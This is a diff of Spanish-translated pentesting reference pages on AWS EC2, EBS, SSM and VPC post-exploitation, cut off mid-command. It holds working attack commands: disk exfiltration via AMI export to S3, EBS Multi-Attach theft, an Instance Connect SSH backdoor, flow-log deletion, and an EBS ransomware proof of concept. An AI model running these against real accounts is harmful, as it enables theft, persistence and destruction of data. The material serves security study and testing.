+Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. Crea gateway o interface VPC endpoints para recuperar outbound access desde subnets aisladas. Aprovechar AWS-managed private links evita controles IGW/NAT ausentes para data exfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. Apunta VPC Flow Logs a un S3 bucket controlado por el atacante para recopilar continuamente metadatos de red (source/destination, ports) fuera de la cuenta víctima para reconocimiento a largo plazo.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
+### Data Exfiltration
+
+#### DNS Exfiltration
+
+Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
+
+- **VPC Flow Logs no registrarán esto**.
+- No tienes acceso a AWS DNS logs.
+- Desactívalo configurando "enableDnsSupport" a false con:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
-#### Exfiltración a través de llamadas API
+#### Exfiltration via API calls
 
-Un atacante podría llamar a los endpoints de API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail.
+An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
 
-### Grupo de Seguridad Abierto
+### Open Security Group
 
-Podrías obtener acceso adicional a servicios de red abriendo puertos como este:
+Podrías obtener más acceso a servicios de red abriendo puertos así:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### Privesc a ECS
 
-Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS.
+Es posible ejecutar una EC2 instance y registrarla para que se utilice para ejecutar ECS instances y luego robar los datos de esas ECS instances.
 
-Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Para [**más información, consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Eliminar VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,51 +159,52 @@ Permisos requeridos:
 
 - `ssm:StartSession`
 
-Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias de EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster privado de EKS.
+Además de la ejecución de comandos, SSM permite la tunelización de tráfico, lo cual puede ser abusado para pivot desde instancias EC2 que no tienen acceso de red debido a Security Groups o NACLs.
+Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado.
 
-> Para iniciar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Para iniciar una sesión necesitas instalar el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. Instala el SessionManagerPlugin en tu máquina
-2. Inicia sesión en el Bastion EC2 usando el siguiente comando:
+2. Conéctate al Bastion EC2 usando el siguiente comando:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Obtén las credenciales temporales de Bastion EC2 AWS con el script de [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)  
-4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]`  
+3. Obtén las credenciales temporales de Bastion EC2 AWS con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]`
 5. Inicia sesión en EKS como el Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Actualiza el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost`  
-7. Crea un túnel SSM de la siguiente manera:
+6. Actualiza el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost`
+7. Crea un túnel SSM como sigue:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
+8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del SSM tunnel vía el Bastion EC2 y puedes acceder al EKS cluster privado desde tu propia máquina ejecutando:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Tenga en cuenta que las conexiones SSL fallarán a menos que establezca el flag `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM.
+Ten en cuenta que las conexiones SSL fallarán a menos que establezcas la bandera `--insecure-skip-tls-verify ` (o su equivalente en las herramientas de auditoría K8s). Al estar el tráfico tunelizado a través del túnel seguro de AWS SSM, estás protegido frente a cualquier tipo de ataques MitM.
 
-Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.
+Finalmente, esta técnica no es específica para atacar clústeres privados de EKS. Puedes configurar dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.
 
 ---
 
-#### Reenvío Rápido de Puerto Local ↔️ Remoto (AWS-StartPortForwardingSession)
+#### Redirección rápida de puerto Local ↔️ Remoto (AWS-StartPortForwardingSession)
 
-Si solo necesita reenviar **un puerto TCP desde la instancia EC2 a su host local**, puede usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere parámetro de host remoto):
+Si solo necesitas reenviar **un puerto TCP desde la instancia EC2 a tu equipo local** puedes usar el documento SSM `AWS-StartPortForwardingSession` (no se requiere parámetro de host remoto):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-El comando establece un túnel bidireccional entre tu estación de trabajo (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **sin abrir ninguna regla de grupo de seguridad entrante**.
+El comando establece un túnel bidireccional entre tu estación de trabajo (`localPortNumber`) y el puerto seleccionado (`portNumber`) en la instancia **sin abrir ninguna regla de entrada de Security-Group**.
 
 Casos de uso comunes:
 
-* **Exfiltración de archivos**
-1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que deseas exfiltrar:
+* **File exfiltration**
+1. En la instancia, inicia un servidor HTTP rápido que apunte al directorio que quieras exfiltrar:
 
 ```bash
 python3 -m http.server 8000
@@ -151,7 +216,7 @@ python3 -m http.server 8000
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Acceso a aplicaciones web internas (por ejemplo, Nessus)**
+* **Acceso a aplicaciones web internas (p.ej. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -170,17 +235,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
 ```
 ### Buscar información sensible en AMIs públicas y privadas
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instances desde las AMIs objetivo, montar sus volumes y escanear en busca de posibles secrets o datos sensibles.
 
-### Compartir instantánea de EBS
+### Compartir EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service, dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.
+Una prueba de concepto similar a la demostración de Ransomware mostrada en las notas de post-explotación de S3. KMS debería renombrarse a RMS para Ransomware Management Service dada la facilidad con la que se puede usar para cifrar varios servicios de AWS.
 
-Primero, desde una cuenta de AWS 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'.
+Primero, desde una cuenta AWS de 'attacker', crea una customer managed key en KMS. En este ejemplo dejaremos que AWS gestione los datos de la key por mí, pero en un escenario realista un actor malicioso retendría los datos de la key fuera del control de AWS. Cambia la key policy para permitir que cualquier Principal de una cuenta AWS use la key. Para esta key policy, el nombre de la cuenta era 'AttackSim' y la regla de la policy que permite acceso total se llama 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Primero, desde una cuenta de AWS 'atacante', crea una clave administrada por el
 ]
 }
 ```
-La regla de la política de clave necesita que se habiliten lo siguiente para permitir su uso para cifrar un volumen EBS:
+La regla de la key policy necesita tener lo siguiente habilitado para permitir la posibilidad de usarla para encriptar un volumen EBS:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ La regla de la política de clave necesita que se habiliten lo siguiente para pe
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Ahora, con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio.
+Ahora con la key públicamente accesible para usar. Podemos usar una cuenta 'victim' que tiene algunas instancias EC2 levantadas con volúmenes EBS sin encriptar adjuntos. Los volúmenes EBS de esta cuenta 'victim' son los que estamos apuntando para encriptar; este ataque se realiza bajo la suposición de una brecha de una cuenta AWS de alto privilegio.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Similar to the S3 ransomware example. Este ataque creará copias de los volúmenes EBS adjuntos usando snapshots, usará la key públicamente disponible desde la cuenta 'attacker' para encriptar los nuevos volúmenes EBS, luego desacoplará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará los snapshots usados para crear los nuevos volúmenes EBS encriptados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta.
+Esto resulta en que solo queden volúmenes EBS encriptados disponibles en la cuenta.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están.
+También vale la pena notar que el script detuvo las instancias EC2 para desacoplar y eliminar los volúmenes EBS originales. Los volúmenes originales sin encriptar ya no existen.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave.
+A continuación, vuelve a la key policy en la cuenta 'attacker' y elimina la regla de política 'Outside Encryption' de la key policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ A continuación, regrese a la política de clave en la cuenta de 'atacante' y el
 ]
 }
 ```
-Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen.
+Espera un momento para que la nueva key policy se propague. Luego vuelve a la cuenta 'victim' e intenta adjuntar uno de los volúmenes EBS recién encriptados. Verás que puedes adjuntar el volumen.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simplemente fallará y volverá del estado 'pendiente' al estado 'detenido' para siempre, ya que el volumen EBS adjunto no puede ser descifrado usando la clave, ya que la política de claves ya no lo permite.
+Pero cuando intentes arrancar realmente la instancia EC2 con el volumen EBS encriptado, fallará y pasará del estado 'pending' de nuevo al estado 'stopped' de forma indefinida, ya que el volumen EBS adjunto no puede desencriptarse con la key porque la key policy ya no lo permite.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos utilizando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día.
+Este es el python script utilizado. Toma AWS creds para una cuenta 'victim' y un valor ARN de AWS públicamente disponible para la key que se usará para la encriptación. El script hará copias encriptadas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará únicamente volúmenes EBS encriptados en la cuenta 'victim' objetivo. SOLO USE ESTE SCRIPT EN UN ENTORNO DE PRUEBAS, ES DESTRUCTIVO Y BORRARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la KMS key utilizada y restaurarlos a su estado original mediante snapshots, pero quiero que sepas que, al final del día, esto es un ransomware PoC.
 ```
 import boto3
 import argparse

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Exfiltración encubierta de disco a través de AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+Abusar de EC2 AMI export-to-S3 para exfiltrar el disco completo de una instancia EC2 como una única imagen raw almacenada en S3, y luego descargarla fuera de banda. Esto evita el compartir snapshots y produce un objeto por AMI.
+
+## Requisitos
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` en la instancia/AMI objetivo
+- S3 (misma Región): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt en la clave que protege los snapshots de AMI (si está habilitado el cifrado por defecto de EBS)
+- Política del bucket S3 que confíe en el principal de servicio `vmie.amazonaws.com` (ver abajo)
+
+## Impacto
+- Adquisición completa sin conexión del disco root de la instancia en S3 sin compartir snapshots ni copiar entre cuentas.
+- Permite forense sigiloso sobre credenciales, configuración y contenidos del filesystem desde la imagen raw exportada.
+
+## Cómo exfiltrar mediante AMI Store-to-S3
+
+- Notas:
+- El bucket S3 debe estar en la misma Región que la AMI.
+- En `us-east-1`, `create-bucket` NO debe incluir `--create-bucket-configuration`.
+- `--no-reboot` crea una imagen crash-consistent sin detener la instancia (más sigiloso pero menos consistente).
+
+<details>
+<summary>Comandos paso a paso</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Ejemplo de evidencia
+
+- `describe-store-image-tasks` transiciones:
+```text
+InProgress
+Completed
+```
+- S3 metadatos del objeto (ejemplo):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Descarga parcial demuestra el acceso al objeto:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Permisos IAM requeridos
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (en el bucket de exportación): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Si los snapshots de AMI están cifrados, permitir decrypt para la clave KMS de EBS usada por los snapshots
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,78 @@
+# AWS - Live Data Theft via EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumen
+Abusar de EBS Multi-Attach para leer desde un volumen de datos io1/io2 en vivo adjuntando el mismo volumen a una instancia controlada por el atacante en la misma Availability Zone (AZ). Montar el volumen compartido en modo read-only permite acceso inmediato a archivos en uso sin crear snapshots.
+
+## Requisitos
+- Volumen objetivo: io1 o io2 creado con `--multi-attach-enabled` en la misma AZ que la instancia del atacante.
+- Permisos: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` sobre el volumen/instancias objetivo.
+- Infraestructura: tipos de instancia basados en Nitro que soportan Multi-Attach (familias C5/M5/R5, etc.).
+
+## Notas
+- Montar en read-only con `-o ro,noload` para reducir el riesgo de corrupción y evitar replays del journal.
+- En instancias Nitro, el dispositivo EBS NVMe expone una ruta estable `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (ayuda más abajo).
+
+## Preparar un volumen io2 con Multi-Attach y adjuntarlo a la víctima
+
+Ejemplo (crearlo en `us-east-1a` y adjuntarlo a la víctima):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+En la víctima, formatea/monta el nuevo volumen y escribe datos sensibles (ilustrativo):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Adjuntar el mismo volumen a la attacker instance
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Montar en modo de solo lectura en el attacker y leer datos
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Resultado esperado: El mismo `VOL_ID` muestra múltiples `Attachments` (víctima y atacante) y el atacante puede leer archivos escritos por la víctima sin crear ningún snapshot.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Ayuda: encontrar la ruta del dispositivo NVMe por Volume ID</summary>
+
+En instancias Nitro, usa la ruta by-id estable que incorpora el Volume ID (quita el guion después de `vol`):
+</details>
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Impacto
+- Acceso de lectura inmediato a los datos en tiempo real del volumen EBS objetivo sin generar snapshots.
+- Si está montado read-write, el atacante puede manipular el filesystem de la víctima (riesgo de corrupción).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusar del EC2 Instance Connect Endpoint (EIC Endpoint) para obtener acceso SSH entrante a instancias EC2 privadas (sin IP pública/bastión) mediante:
+- Crear un EIC Endpoint dentro de la subnet objetivo
+- Permitir SSH entrante en el SG objetivo desde el SG del EIC Endpoint
+- Inyectar una clave pública SSH de corta duración (válida ~60 segundos) con `ec2-instance-connect:SendSSHPublicKey`
+- Abrir un túnel EIC y pivotar hacia la instancia para robar credenciales del instance profile desde IMDS
+
+Impacto: ruta de acceso remoto sigilosa a instancias EC2 privadas que evita bastiones y restricciones de IP pública. El atacante puede asumir el instance profile y operar en la cuenta.
+
+## Requisitos
+- Permisos para:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Instancia Linux objetivo con servidor SSH y EC2 Instance Connect habilitado (Amazon Linux 2 o Ubuntu 20.04+). Usuarios por defecto: `ec2-user` (AL2) o `ubuntu` (Ubuntu).
+
+## Variables
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Crear EIC Endpoint
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Permitir tráfico desde EIC Endpoint hacia la instancia de destino
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Inyectar clave SSH efímera y abrir un túnel
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
